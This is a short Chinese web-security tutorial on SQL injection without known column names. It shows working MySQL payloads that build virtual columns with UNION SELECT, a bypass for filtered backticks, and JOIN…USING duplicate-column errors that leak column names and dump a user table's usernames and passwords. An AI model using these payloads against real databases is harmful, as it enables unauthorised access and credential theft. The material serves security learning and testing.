WEB安全--SQL注入--无列名注入

一、原理:

当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

sql 复制代码
#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

sql 复制代码
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

sql 复制代码
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 
相关推荐
踢足球09291 小时前
寒假打卡:2026-01-31
数据库·sql
darkb1rd2 小时前
二、PHP 5.4-7.4版本演进与安全改进
安全·php·webshell
珠海西格2 小时前
远动通信装置为何是电网安全运行的“神经中枢”?
大数据·服务器·网络·数据库·分布式·安全·区块链
山峰哥3 小时前
SQL优化全解析:从索引策略到查询性能飞跃
大数据·数据库·sql·编辑器·深度优先
格林威3 小时前
Baumer相机铸件气孔与缩松识别:提升铸造良品率的 6 个核心算法,附 OpenCV+Halcon 实战代码!
人工智能·opencv·算法·安全·计算机视觉·堡盟相机·baumer相机
Apple_羊先森3 小时前
ORACLE数据库巡检SQL脚本--7、检查不起作用的约束
数据库·sql·oracle
K·Herbert4 小时前
OpenClaw 私人电脑部署风险
人工智能·安全·编辑器
枷锁—sha4 小时前
【CTFshow-pwn系列】06_前置基础【pwn 035】详解:利用 SIGSEGV 信号处理机制
java·开发语言·安全·网络安全·信号处理
EverydayJoy^v^4 小时前
RH134学习进程——十一.管理网络安全
学习·安全·web安全
zhengfei6114 小时前
Burp Suite 与AI之间的桥梁。
网络·安全·自动化